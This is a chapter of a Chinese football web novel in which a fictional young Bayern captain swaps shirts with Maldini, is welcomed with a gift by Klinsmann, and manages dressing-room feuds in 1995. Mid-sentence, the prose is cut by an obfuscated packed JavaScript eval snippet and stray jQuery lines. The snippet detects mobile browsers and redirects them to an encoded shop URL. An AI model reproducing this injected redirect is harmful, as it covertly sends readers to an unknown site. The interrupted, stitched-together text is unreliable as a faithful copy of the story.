“不行。这是米夏的。”


    非常有个人特色的卷舌口音听得马尔蒂尼微微怔了一下。


    他不知道德国小前锋说了什么，只大概从语气听出了是拒绝的意思。


    遗憾地点点头，马尔蒂尼准备礼貌地离开，冷淡的德国小前锋却又拉住了他。


    “Erster Versuch.Ich tausche mit dir die anderen.”*


    见还有机会，马尔蒂尼又尝试用英语交流。然后两个人大眼瞪小眼，都听不懂对方在说什么。


    尤其是真诚的德国小前锋明明听不懂话，但马尔蒂尼每次说完，他都会跟着点点头。透亮的灰眼睛始终看着人，没有丝毫闪躲。


    事事有回应，事事没着落。


    迷茫的马尔蒂尼迟疑地放下打手势的手。


    站在一旁等他们交流的巴拉克看得眉头就没松过。


    赛场上的情绪还没完全褪去，他不善的看着意大利后卫。


    刚刚他们可没少铲凯厄斯。


    “伊恩。”


    他走过去托住又准备点头的凯厄斯的下巴。让他抬头站好，等着。


    喧嚣的球场内，巴拉克侧头不太流利的用通用英语和马尔蒂尼表达凯厄斯的意思，然后从场边工作人员那里接过一件备用球衣递给意大利人。


    马尔蒂尼得体的微笑了一下，没有介意巴拉克冷硬的态度。他伸手接过，将自己的球衣从身上脱下来，叠好，递给凯厄斯。


    接着他们拥抱了一下，姿势比上次自然了很多。


    分开的时候，马尔蒂尼将球衣搭在肩上，温柔地摸了一下德国小前锋的侧脸，笑着说：“谢谢。它依然很有意义，祝贺你拿到冠军。”


    “如果有机会，欢迎你来意大利玩。”


    意大利人趁机勾引了一下。不过多说一句话的事情，勾到就是赚到。


    周围听得懂的德国人：？


    最后一句巴拉克假装听不懂，没给凯厄斯翻译。


    他从今天开始讨厌意大利人。


    …


    1995年的夏天属于凯厄斯。


    当《踢球者》杂志公布年度德国足球先生的评选结果时，整个德国足球界没有产生任何争议。


    十八岁的东德明珠以压倒性的票数优势，将这座象征着德国足球最高个人荣誉的奖杯收入囊中。


    巴拉克在更衣室里把那份《踢球者》杂志翻来覆去看了好几遍，最后将印有凯厄斯照片的那一页撕下来，夹在自己的笔记本里。


    【事件：你的国家队好友JuergenKlinsmann即将转会拜仁，作为队长向他表示欢迎吧！】


    咦？金发小人来了？


    你有些意外地同意了经理Hoeness的邀请。


    点击接受后，你和他的羁绊也升上了lv4。


    …


    1995年7月，慕尼黑盛夏，塞本纳大街的拜仁新闻发布厅里。


    金色轰炸机从热刺转会而来，带着他灿烂的笑容和一头标志性的金发，在镁光灯下闪闪发光。


    记者们挤满了发布厅，摄像机密密麻麻地架在后面。所有人都想看看这位德国队的明星前锋和拜仁的新国王之间会擦出怎样的火花。


    克林斯曼坐在台上，穿着笔挺的西装，金色的头发被精心打理过，笑容恰到好处。他回答了几个关于为什么选择拜仁的问题，每一个回答都滴水不漏。


    遇到刁难的问题也全都不软不硬地顶了回去。


    中途凯厄斯走了进来。


    他穿着简单的白色短袖和黑色长裤，头发还是刚训练完的样子，有些凌乱地搭在额前。他的表情一如既往的冷淡，灰眼睛扫过全场时，那些举着相机的记者们不约而同地按下快门。


    贝肯鲍尔带头鼓了鼓掌，他坐在看台上表情始终平静矜持，唯有看向凯厄斯时，眼里全是不自觉溢出的高兴和满意。


    夺得欧冠后，不论别人是什么想法，贝肯鲍尔都兑现了他的承诺，让凯厄斯成了球队的新队长。


    跟着工作人员的指引，凯厄斯在克林斯曼旁边坐下。克林斯曼转过头看着他，那双蓝色的眼睛里盛满了笑意。


    “嘿，又见面了，伊恩。”


    然后克林斯曼做了一件让全场记者都没想到的事。


    他从口袋里掏出一个小盒子，打开，里面陈列着一条泛着银色光泽的珍珠十字手串。


    “这是我从美国带回来的。”克林斯曼甜美的笑容里带着几分促狭，“送给你，小珍珠。”


    全场哗然。记者们疯狂地按动快门，捕捉凯厄斯的反应。


    【你的好友Juergen Klinsmann向你投递了一份礼物】


    【是否接受】


    你抱着新鲜出炉的队长称号正高兴呢。没想到偶尔才能见一面的金发小人居然还记得给你带礼物。


    …


    “……谢谢？”年轻的前锋低头看着那条手链，灰眼睛里闪过一丝困惑。


    他将盒子收好放进口袋，抬眸一脸正色地补充：“不是小珍珠。要喊我队长。”


    被他反应逗笑了的克林斯曼伸手揉了揉他的头发，笑得更加灿烂。玩心大起的他倾身过去，在凯厄斯的额头亲了一下。


    一个来自长辈的怜爱的吻。


    1994-95赛季，克林斯曼在热刺轰了29球，也拿到了英格兰足球先生，但老东家热刺仅排英超第7，彻底无缘欧战，也没有任何争冠希望。


    他已经31岁，就差俱乐部顶级荣誉。


    眼前这个男孩有着无与伦比的创造力，热刺给不了他的，拜仁能给。


    克林斯曼来这里就是为了夺冠，让胜利成为他的又一个注脚。


    “好吧。不用谢，小队长。”


    眼底全是野心的克林斯曼亲切地看着冷着脸瞪圆了眼睛的年轻前锋。


    “希望我们能一起度过美好的赛季。”


    …


    发布会结束后，有小媒体立刻出版了让马特乌斯大喊荒谬的头条。


    ［金色轰炸机俘获东德明珠：克林斯曼用一条珍珠十字手串和一个额头吻，做到了马特乌斯用了一个赛季都没做到的事——让东德明珠露出笑容。］


    其实凯厄斯并没有笑。只是面对克林斯曼的时候，他那张总是冷冰冰的脸确实柔和了不少。


    媒体借此机会大炒特炒。原本关于金色轰炸机和拜仁新国王会因为位置、地位，发生矛盾的舆论被悄无声息地压下。


    —


    克林斯曼的到来让拜仁好不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446546|200812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容易和谐了一些的更衣室气氛重新变得古怪。


    官宣金色轰炸机加入拜仁的同一天，马特乌斯宣布归队。


    他其实还没好全，不能进行太激烈的对抗，只能偶尔踢一下热身赛。这几天他的嘴没有闲着。


    马特乌斯通过媒体不断地表达自己的不满，说拜仁签下克林斯曼是“不尊重球队现有的前锋”，说克林斯曼“已经过了巅峰期”，说他“来拜仁只是为了养老”。


    记者们最爱的就是他的嘴，从来不需要他们费尽心思去挖东西。这些话他三天三夜都说不完，越说越有。


    克林斯曼对这些言论的处理方式很聪明。他从不直接回应，只是在每次训练结束后加练半小时射门，然后在下一场热身赛中上演帽子戏法。


    冲突依然控制在范围内。熟悉他们两个的赫内斯知道这只是暂时的平静。


    他们两个的矛盾由来已久。从国家队到俱乐部，这两个人就像两团烈火，放在一起只会引发爆炸。


    马特乌斯觉得克林斯曼是个戏子，只会做表面功夫，克林斯曼觉得马特乌斯是个自大狂，永远以自我为中心。


    将这两个好强不服软的人放在一起，迟早会两败俱伤。


    赫内斯忧心忡忡地找到贝肯鲍尔。


    “随他们去。”


    贝肯鲍尔坐在办公室，桌上摆着几个相框。有自己的，球队的，还有马特乌斯和最近才摆上的凯厄斯的。


    他抽着烟淡淡一句：“球员可以吵架，可以互相看不顺眼，但不能不赢球。”


    “只要我还在，他们就必须一起拿冠军。”


    【你的队友发生了矛盾】


    【是否介入】


    ……这熟悉的风味。


    自从小土人伤了，你好久没看到了。现在他好了，这个弹框终于也重出江湖。


    当了队长你就不能再无所顾忌，不然你不经意间的偏向会让事情升级好几个档次。


    于是，你开始在小土人和小金发中间端水。


    你尝试。你努力。你大败。


    你：……


    看着小土人ID旁边愤怒加难过的emoji，你都想摇着他肩膀问他：你又怎么了，大小姐。


    在小土人看来，只要不坚定地偏向他那边，那就全是背叛。对他完全端不了一点水。


    小金发同理。他一天看着全是笑眯眯，最后你才迟钝的发现原来那是死亡微笑来的。


    在混乱的人群中，你那清新脱俗不做作，老实话少又听话的辅助简直是天使。


    你放弃端水了。


    管你什么恨的爱的，喜欢的讨厌的。一天就是太闲了。


    给我踢球去！通通给我踢球去！踢不出来的全滚板凳上去！


    ——


    更衣室在凯厄斯的愤怒中恢复了一些平静，慕尼黑的日子照常运转。


    训练，比赛，进球，赢球。


    凯厄斯在德甲的统治力已经到了让对手麻木的程度。每场比赛他往那一站，对方的防线就自动后撤五米。即使这样，还是拦不住他。


    他那石破天惊的才华对于其他球员来说简直是世界上最恶毒的诅咒。


    ［带来华光的金珍珠，带来苦难的灾厄星］


    菲利普·拉姆经常听到人们这样称呼他。